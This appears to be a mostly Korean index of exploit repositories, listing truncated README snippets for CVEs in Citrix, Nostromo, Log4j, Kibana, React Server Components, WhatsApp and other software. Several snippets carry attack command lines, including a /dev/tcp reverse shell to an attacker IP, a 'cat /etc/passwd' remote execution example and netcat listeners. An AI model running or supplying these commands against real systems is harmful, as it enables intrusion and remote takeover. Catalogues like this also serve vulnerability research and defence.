CVE-2026-105173

A cross-site scripting (XSS) vulnerability exists in code-projects Human Resource Management 1.0 . The flaw is located within the Event Creation component, specifically affecting an unknown part of the file /humanresourcemanagementsystem/src/store/EventStore.php. By manipulating the eventSubject ...

CVE-2019-19781

CVE-2019-19781 Citrix Application Delivery Controller 및 Citrix Gateway용 원격 코드 실행 익스플로잇 CVE-2019-19781 사용법 : bash CVE-2019-19781.sh IPOFVULNURABLEHOST COMMANDTOEXECUTE 예 : bash CVE-2019-19781.sh XX.XX.XX.XX 'cat /etc/passwd' 참조 : https://support.citrix.com/article/CTX267027...

CVE-2022-22909

CVE-2022-22909 Hotel Druid 3.0.3 - 원격 코드 실행 RCE kaal의 익스플로잇 익스플로잇 1. HotelDruidExploit.py 이 익스플로잇은 PHP 페이로드를 방 이름으로 사용하여 새 방을 생성합니다 . 사용법 : $ ./HotelDruidExploit.py -h $ ./HotelDruidExploit.py -u http://127.0.0.1/hoteldruid 2. HotelDruidExploitRoom.py 이 익스플로잇은 방 이름을 이미 알고 있을 때 작동합니다 . 사용법 : $...

CVE-2020-9548

CVE-2020-9548：FasterXML/jackson-databind 원격 코드 실행 취약점...

CVE-2026-34197

CVE-2026-34197 설명 Apache ActiveMQ Broker, Apache ActiveMQ에서 부적절한 입력 검증, 코드 생성 제어 부적절‘코드 인젝션’ 취약점입니다. Apache ActiveMQ Classic은 웹 콘솔의 /api/jolokia/에서 Jolokia JMX-HTTP 브리지를 노출합니다. 기본 Jolokia 액세스 정책은 BrokerService.addNetworkConnectorString 및 BrokerService.addConnectorString를 포함한 모든 ActiveMQ...

CVE-2019-16278-Nostromo-1.9.6-RCE

CVE-2019-16278-Nostromo-1.9.6-RCE 이것은 Nostromo 1.9.6 RCE에 대한 CVE-2019-16278의 익스플로잇입니다. 이 익스플로잇은 피해자 머신에서 RCE를 가능하게 합니다. 요구 사항 optparse socat sys 사용법 다음과 같이 익스플로잇을 사용할 수 있습니다: python3 CVE-2019-16278.py --ip=10.129.192.225 --port=80 --command="bash -c 'bash -i & /dev/tcp/10.10.16.42/443 0&1'"...

log4shell-poc

CVE-2021-44228 Log4Shell POC 개요 Apache Log4j 2.14.1의 JNDI 인젝션 취약점을 통한 원격 코드 실행 개념 증명PoC입니다. 웹 해킹 강좌 - 11주차 과제. 환경 역할| 소프트웨어| 버전 ---|---|--- 피해자 서버| Spring Boot + Log4j| 2.6.1 + 2.14.1 피해자 JDK| OpenJDK| 1.8.0181 LDAP 서버| marshalsec| 0.0.3 공격자 OS| Kali Linux| - 파일 구조 log4shell-poc/ ├──...

CVE-2025-55182

CVE-2025-55182 React2Shell 익스플로잇 킷 🎯 완벽하게 작동하는 익스플로잇 데모 이 프로젝트는 React Server Components 및 Next.js의 심각한 원격 코드 실행 취약점인 CVE-2025-55182 React2Shell에 대한 완전한 기능의 데모를 제공합니다. 상태: ✅ 작동 중 - 취약한 서버에서 실제 명령 실행을 달성합니다. 🚀 포함 내용 작동하는 익스플로잇 바이너리 언어: Go 1.25.5 바이너리: CVE-2025-55182 7.8MB 컴파일된 실행 파일 기능: 취약한 Next.js...

CVE-2019-19576

class.upload.php = 2.0.3 임의 파일 업로드 저자 - Jinny Ramsmark 영향받는 공급업체 - Verot.net 영향받는 제품 - class.upload.php = 2.0.3 새로 설치된 Ubuntu 19.10, PHP7.3, Apache/2.4.38에서 테스트 특히 Debian/Ubuntu는 사용 가능한 PHP 핸들러에 php, phar, phtml 확장자를 추가하기 때문에 취약한 것으로 밝혀졌습니다. 이 경우 class.upload.php는 phar 확장자를 블랙리스트에 포함하지 않았습니다. 설명 ...

lenovo_exec

lenovoexec 임의 커널 코드 실행 기능을 갖춘 CVE-2022-3699 원본 익스플로잇: https://github.com/alfarom256/CVE-2022-3699...

CVE-2019-7609

CVE-2019-7609 Kibana Kibana의 Timelion visualizer의 결함으로 인해 리모트 코드 실행이 가능한 취약성 환경구성 docker 1. 첨부된 docker-compose.yml 을 실행한다. docker-comopse up -d 2. 브라우저에서 http://127.0.0.1:5601에 접속한다. Exploit 1. reverse shell을 준비한다. $ nc -lvp 6666 2. Kibana의 Timelion 화면에서 페이로드를 입력 후, 실행을 누른다...

CVE-2021-44228-Log4j-lookup-Rce

0x01. 환경 Jdk7u21 아무 버전이나 가능 영향 버전: Apache Log4j 2.x org.apache.logging.log4j log4j-core 2.11.1 PoC import org.apache.logging.log4j.LogManager; import org.apache.logging.log4j.Logger; public class test2 private static Logger LOGGER = LogManager.getLogger; public static void mainString args...

CVE-2013-2028-Exploit

CVE-2013-2028 익스플로잇 취약점 세부 사항 취약한 소프트웨어: Nginx 1.3.9 -lp 4. 익스플로잇이 실제 카나리 값을 찾고 리버스 셸을 시작하도록 합니다...

CVE-2024-32030-Nuclei-Template

CVE-2024-32030 Nuclei 템플릿 설명 이 저장소는 CVE-2024-32030 취약점을 탐지하기 위한 Nuclei 템플릿을 포함합니다. 해당 취약점은 JMX 메트릭 수집 JNDI 해석을 통한 원격 코드 실행을 허용합니다. 취약점 세부 정보 ID: CVE-2024-32030 이름: JMX Metrics Collection JNDI RCE 작성자: Hüseyin TINTAŞ 심각도: 심각 설명: 이 템플릿은 악의적인 JMX 서버에 연결을 시도하여 취약점 존재 여부를 확인합니다. 태그: cve, cve2024, jmx,...

CVE-2023-3009

CVE-2023-3009 항목 이름에 대한 저장형 XSS - TeamPass 3.0.9에서 CVE-2023-2516 우회 - M Nadeem Qazi 작성 설명 이 저장소는 CVE-2023-2516 식별자가 할당된 nilsteampassnet/teampass 애플리케이션에서 발견된 저장형 XSS 취약점을 다룹니다. 이 취약점은 동일한 폴더에 대한 접근 권한이 있는 두 개의 사용자 계정을 생성하여 악용할 수 있습니다. 폴더 내에서 새 항목을 생성하고 항목 이름에 XSS 페이로드를 삽입하면, 공격자는 해당 항목에 접근할 때 XSS...

CVE-2022-33980-Apache-Commons-Configuration-RCE

CVE-2022-33980-Apache-Commons-Configuration-RCE...

CVE-2024-0757-Exploit

CVE-2024-0757 익스플로잇 설명 WordPress용 Insert or Embed Articulate Content into WordPress 플러그인은 모든 버전최대 4.3000000023 포함에서 zip 아카이브의 안전하지 않은 파일 업로드를 통해 임의 파일 업로드에 취약합니다. 이로 인해 인증되지 않은 공격자가 영향을 받는 사이트의 서버에 phar 파일이 포함된 zip 파일을 업로드할 수 있으며, 이는 원격 코드 실행 가능성을 만듭니다. !IMPORTANT CVSS: 8.8 High...

CVE-2025-55182-React-RSC-Exploit

CVE-2025-55182 // REACT 서버 컴포넌트 RCE 개요 CVE-2025-55182에 대한 익스플로잇 PoC입니다. React Server Components의 안전하지 않은 버전과 입력 검증 함수 취약점을 대상으로 합니다. 기술 메커니즘 벡터 : hydration 중 $1:proto :then을 통한 프로토타입 오염. 페이로드 : process.mainModule.require'childprocess'를 통한 RCE. 유출 : X-Action-Redirect 헤더를 통한 데이터 누출. 요구 사항 python3...

CVE-2020-11932

CVE-2020-11932 WhatsApp 익스플로잇 poc의 Double-Free 버그. 참고: 쉘을 얻기 위해 exploit.c에 수신자listener IP를 설정해야 합니다. nc -lvp 1337 또는 원하는 포트. 그런 다음 컴파일하세요. make 또는 gcc -o exploit egiflib.c exploit.c 그런 다음 ./exploit을 실행하고 내용을 .gif로 저장하세요. 피해자에게 보내세요. 출처...

cve-2022-24644

CVE-2022-24644 ZZ Inc. KeyMouse 3.08 Windows 인증되지 않은 업데이트 원격 코드 실행 취약점 사용법: python3 cve-2022-24644poc.py 세부 내용은 gerr.re의 보고서를 참조하세요. 재현 단계 1. KeyMouse Windows 3.08을 설치합니다; 2. www.keymouse.com이 공격자 IP를 가리키도록 스푸핑합니다; 개념 증명PoC을 위해 대상 시스템에서 c:\windows\system32\drivers\etc\hosts를 편집하는 것이 가장 쉽습니다. 공격자는...